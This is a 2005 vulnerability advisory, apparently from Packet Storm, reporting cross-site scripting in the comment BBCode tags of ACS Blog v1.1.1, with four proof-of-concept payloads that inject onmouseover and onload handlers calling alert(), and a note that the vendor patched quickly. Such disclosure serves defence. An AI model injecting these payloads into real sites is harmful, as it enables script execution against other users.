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ACSblog111.txt

🗓️ 29 Mar 2005 00:00:00Reported by Dan CrowleyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

XSS attacks possible in ACS Blog v1.1.1 comments due to lack of tag filtering and prompt vendor response.

Code
`  
  
These vulnerabilities have been tested on the latest version of ACS Blog. (v1.1.1)  
  
In the comments section of ACS Blog, it is possible to execute an XSS attack through the [link], [mail], and [img] tags, due to lack of filtering of single quotes and spaces inside the tags.  
  
Examples/PoCs:  
  
[link=http://www.google.com' onmouseover='alert("XSS vulnerability")' o=']Don't you wanna see where this link goes?[/link]  
  
[[email protected]' onmouseover='alert("XSS vulnerability")' o=']Mr. Wiggles[/mail]  
  
[img]http://www.example.com/image.jpg' onload='alert("XSS vulnerability")' o='[/img]  
  
[link=http://www.google.com target=_blank'  
onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]  
  
----------  
Vendor responded within 2 hours of notification, notified users with the security alert on its main page, and patched the vulnerabilities within another couple of hours.  
----------  
  
Cheers,  
Dan  
`

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